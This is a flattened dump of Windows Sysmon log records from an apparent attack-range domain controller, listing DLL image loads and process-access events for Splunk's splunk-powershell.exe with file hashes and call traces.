Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000056409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.428{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000056408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.428{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000056407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.428{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000056406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.428{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000056405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.428{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000056404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000056403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000056402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000056401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000056400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000056399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000056398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000056397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000056396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000056395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000056394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000056393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000056391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000056390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000056389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000056388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000056387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000056386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000056385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000056384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000056383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000056382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000056381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000056380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000056379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000056378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000056377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000056375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000056374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000056372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000056367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.412{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program 